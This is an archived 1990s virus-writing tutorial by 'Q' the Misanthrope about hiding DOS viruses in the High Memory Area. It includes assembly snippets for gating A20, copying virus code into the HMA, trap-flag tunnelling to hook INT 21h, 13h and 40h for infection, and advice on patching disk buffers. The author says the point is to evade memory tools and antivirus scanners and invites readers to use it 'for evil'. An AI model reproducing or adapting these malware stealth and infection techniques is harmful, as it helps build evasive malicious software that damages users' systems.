home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
CCTX0198.ZIP
/
QMUPDAT7.ZIP
/
HMA_RES.TXT
< prev
next >
Wrap
Text File
|
1997-07-08
|
15KB
|
335 lines
This virus topic has not been discussed: HMA (Not UMB) residency.
------------------------------------------------------------------------------
HMA Residency. What is HMA? It stands for High Memory Address. HMA memory
is a 65520 byte area from FFFF:0010h to FFFF:FFFFh. "Q" the Misanthrope has
been using the HMA to store about 15 of his Viruses. This is his tutorial on
HMA useage.
------------------------------------------------------------------------------
Why HMA?
It allows you to put your virus in a location not seen with any of the
conventional memory tools. MEM CHKDSK and others don't indicate that more
memory is being used in the HMA when a virus goes resident there. Many anti
virus programs did not scan the HMA since no one was crazy enough to put
their virus up there. They now have changed because of the many viruses "Q"
created that use the HMA.
------------------------------------------------------------------------------
HMA History:
On an 80286+ there is an address line called a20 that was to be used to map
the second megabyte of memory. There are additional address lines a21 a22
etc. but with this a20 line there became another 64k of memory available
to real mode programs. Where did this new memory come from? On an 8086, the
addressing of the processor is in SEGMENT:OFFSET format. Each OFFSET spans
a 64k SEGMENT. The actual physical address is computed as SEGMENT*10h+OFFSET.
The last byte of memory on an 8086 was F000:FFFFh or F0000h+FFFFh=FFFFFh.
Notice that FFFF:000F is the same physical address (FFFF0h+000FH=FFFFFh).
What happens if you were to address FFFF:0010? (FFFF0h+0010h=100000h) On an
8086 this would map back to 0000:0000h but on an 80286 you have just touched
the first byte of the second megabyte of memory. The only problem is that
the 80286 works just the same as the 8086 and again you are mapped back to
0000:0000h Some circuitry needed to be added, a20 gating was created. If
doing the physical computation caused a carry into the next megabyte then
turn the a20 line on. This feature had to be able to switched on and off at
will. The 80286 also introduced the 8042 keyboard controller, There was an
extra bit on an output port that could control this gating. The creation of
the HIMEM.SYS would in part make controlling this a bit easier.
------------------------------------------------------------------------------
Gating a20:
To enable the a20 gating:
mov ax,4300h ;himem.sys check
int 2fh
cmp al,80h
jne error ;no himem.sys loaded
mov ax,4310h
int 2fh ;get far call address es:bx
mov ah,03h ;Global enable A20
push cs ;prime the stack for retf
call call_es_bx ;put ip of next line on stack for retf
next_line: or ax,ax ;check if error
jz error
... ;code to do whatever
...
...
call_es_bx: push es ;now jmp to es:bx with ah as function
push bx ;the stack is primed to return to
retf ;next line
...
...
...
error: mov ah,09h ;print command
mov dx,offset errmsg;print error
push cs
pop ds
int 21h
...
...
...
errmsg db "A20 Global Enable error!",0dh,0ah,"$"
Note: all of the HIMEM.SYS calls are documented in Ralf Brown's Interrupt
list (INT 2F AX=4310)
------------------------------------------------------------------------------
Brute force gating a20:
Another method is the brute force method. What if you want the HMA available
at boot time for your boot sector virus? You can directly control the 8042
keyboard controller. Using command D1. Write Output Port: next byte written
to port 60h is placed in the 8042 output port.
│7│6│5│4│3│2│1│0│ 8042 Output Port
│ │ │ │ │ │ │ └──── system reset line
│ │ │ │ │ │ └───── gate A20
│ │ │ │ └─┴────── undefined
│ │ │ └───────── output buffer full
│ │ └────────── input buffer empty
│ └─────────── keyboard clock (output)
└──────────── keyboard data (output)
.286
mov al,0d1h ;send command to 8042
out 64h,al
reloop: in al,64h ;check that port 60h is available
or al,02h
jnz reloop
mov al,11100011b ;keep keyboard working and gate a20
out 60h,al
push -1 ;set es=ffffh
pop es
push 00h
pop ds ;set ds=0000h
mov di,10h ;check if it worked, compare
xor si,si ;ffff:0010h to 0000:0000 for 16 bytes
mov cx,di ;set cx to 10h
cld
rep cmpsb ;compare it
je failed
... ;worked, copy virus to ffff:xxxx
failed: jmp short failed ;do whatever
------------------------------------------------------------------------------
HMA and DOS 5+:
The easiest method is to use the HMA if DOS 5+ is loaded in the HMA with the
commands in the CONFIG.SYS like these:
DEVICE=C:\DOS\HIMEM.SYS
DOS=HIGH
This requirement is on 99% of all machines running this decade. To invoke it:
mov ax,4a02h ;allocate HMA space from DOS
mov di,-1 ;prime di if DOS not high or < ver 5
mov bx,0200h ;number of bytes you want
int 2fh ;should return es:di to available mem
inc di ;di=ffffh if no memory or DOS<5 etc.
jz failed ;if it failed
dec di
mov si,offset virii
mov cx,bx ;get ready to copy virii
cld
rep movs byte ptr es:[di],cs:[si]
...
...
failed: jmp short failed
------------------------------------------------------------------------------
Hooking interrupts:
Now that you are in the HMA what next? Hook in your interrupts and you are
off infecting. Problem is that it is not that simple. You can't point an
interrupt to ffff:xxxx because the a20 gate may be turned off for some reason.
If the a20 gate is turned off then your interrupt will point to code in the
first 64k of memory. When DOS 5+ interrupts 13,21,2f etc. chain into the HMA
they first check if the a20 line is gated, if not they gate it. The interrupt
then continues it's code in the HMA. You can tunnel to your desired interrupt
and hook in to the interrupt chain when the code goes to the HMA. An example
of hooking interrupt 21h is:
.286
virus_size equ previous_21-begin
begin: ...
...
...
mov ax,3501h ;get int 1 address for tunnel
int 21h
mov dx,offset interrupt_1
mov ah,25h ;set int 1 for tunnel
push es
int 21h
pop ds ;ds:dx will be to set it back
push 00h ;es=0000h
pop es
pushf ;simulate interrupt stack
mov dx,bx
push cs
push es ;return to cs:0000 is cd 20
int 01h ;set trap flag
db 26h ;es: override in to int table
dw 02effh,21h*04h ;jmp far ptr es:[0084]
interrupt_1: pusha ;save varables
push sp
pop bp ;get pointer
push ds
push es
lds si,dword ptr ss:[bp+10h];get next instruction address
cmp word ptr ds:[si+01h],02effh
jne go_back ;check if jmp far ?s:[????]
cmp word ptr ds:[si-02h],001cdh
org $-02h ;see if called from our int 01
int 01h
je toggle_tf
mov si,word ptr ds:[si+03h];get address segment of jmp
cmp byte ptr ds:[si+03h],0f0h
jb go_back ;see if in HMA area
mov bx,((virus_size+10h)SHR 4)*10h
mov di,0ffffh ;allocate HMA area for virus
mov ax,4a02h
int 2fh
inc di ;is HMA full
jz toggle_tf ;if so then just don't bother
push si ;move the virus to the HMA
cld
mov cx,virus_size
mov si,0100h ;copy virus to HMA
rep movs byte ptr es:[di],cs:[si]
pop si ;now hook the int 21 chain
movsw ;int 21 copied at previous_21
movsw
lea di,word ptr ds:[di-04h-virus_size+offset resident_21]
mov word ptr ds:[si-04h],di;point to resident 21 code
mov word ptr ds:[si-02h],es
toggle_tf: xor byte ptr ss:[bp+15h],01h;toggle the trap flag
go_back: pop es
pop ds
popa
iret
resident_21: pushf ;do the voodoo you do so well
pusha
...
...
...
popa
popf
db 0eah
previous_21: label double
This is a bit laborous. What else can be done? If you need to hook interrupt
13h then the simple use of INT 2fh AH=13h can be done.
.286
;at the start es:di is pointing to the start of the virus in HMA. es=ffffh
mov ah,13h ;get int 13 chain
int 2fh ;returns previous ds:dx to bios int 13
push ds
push dx
lea dx,word ptr ds:[di+offset resident_13]
push -1 ;point to new int 13 in HMA
pop ds
int 2fh ;set new int 13 into chain
push -1
pop ds
pop word ptr ds:[di+previous_13]
pop word ptr ds:[di+previous_13+02h]
The only problem with this is that Windows will spot it if the 32 Bit Disk
access is enabled.
An even simpler way of hooking into the interrupt 13 chain can be done if
all you are wanting to do is infect floppies. Interrupt 40h is the moved
interrupt 13h handler that only handles floppy access. It can be directly
hooked in to the HMA because all access to it will be through interrupt 13h
that made sure the a20 line was gated before it went in to the HMA.
.286
;at the start es:di is pointing to the start of the virus in HMA. es=ffffh
push es ;save es
mov ax,3540h ;get old int 40
int 21h
pop ds ;get es and save old int 40
mov word ptr ds:[di+previous_40],bx
mov word ptr ds:[di+previous_40+02h],es
lea dx,word ptr ds:[di+resident_40]
mov ah,25h ;set int 40 into hma
int 21h
Interrupt 2fh is very easy to hook in to the HMA. Before DOS 7 you could
hook your code in at 0070:0005h DOS 7 moved it to 0070:0168h.
Another way to hook into the interrupt chain and make sure that the a20 line
is gated is to have some code in lower memory that calls the interrupt you
want to hook in with some bogus function then jump to the HMA code because
the a20 line was gated with the previous interrupt call. An example of this:
.286
interrupt_21: push ax ;interrupt 21h points to here
mov ah,19h ;get current drive (bogus instruction)
pushf ;simulated stack for interrupt
db 09ah ;far call instruction
previous_21 dd 04530126eh ;previous interrupt 21 simulation
pop ax
db 0eah ;far jmp
hma_virus_code dd ffffec1ch ;to virus code in HMA
------------------------------------------------------------------------------
Using some lower memory as a kernal:
The trick is where to put these instrctions in lower memory. The interrupt
vector table can be used or the user area at 0040:00f0h or I like to use
the root PSP of COMMAND.COM:
.286
mov ah,51h ;get current PSP
int 21h
xor ax,ax ;prime ax not equal PSP
find_root_psp: cmp ax,bx
je found_root_psp
mov ds,bx ;point to current psp
mov ax,bx ;for compare
mov bx,word ptr ds:[16h];get parent psp
jmp short find_root_psp
found_root_psp: ... ;ds points to the psp of command.com
... ;ds:005ch to ds:007fh is useless space
------------------------------------------------------------------------------
What works and what doesn't:
When your virus code is the HMA there are certain things that will not work
like you like them to: You can not hook your critical error handler in to
the HMA. You can not do interrupt 21h writes or reads with ds:dx pointing in
the HMA. To do these you will need to use lower memory and copy the contents
into the lower memory and point to it. You can use the lower memory areas
discussed above. What does work: BIOS interrupt 13h reads and writes work
just fine. Searching the Disk Buffers and modifying them to insert your code
and then marking the buffer as dirty will cause the processor to write it
back.
------------------------------------------------------------------------------
If this has inspired someone else to use the HMA for evil rather than good
then my efforts have been worth it.
"Q" the Misanthrope.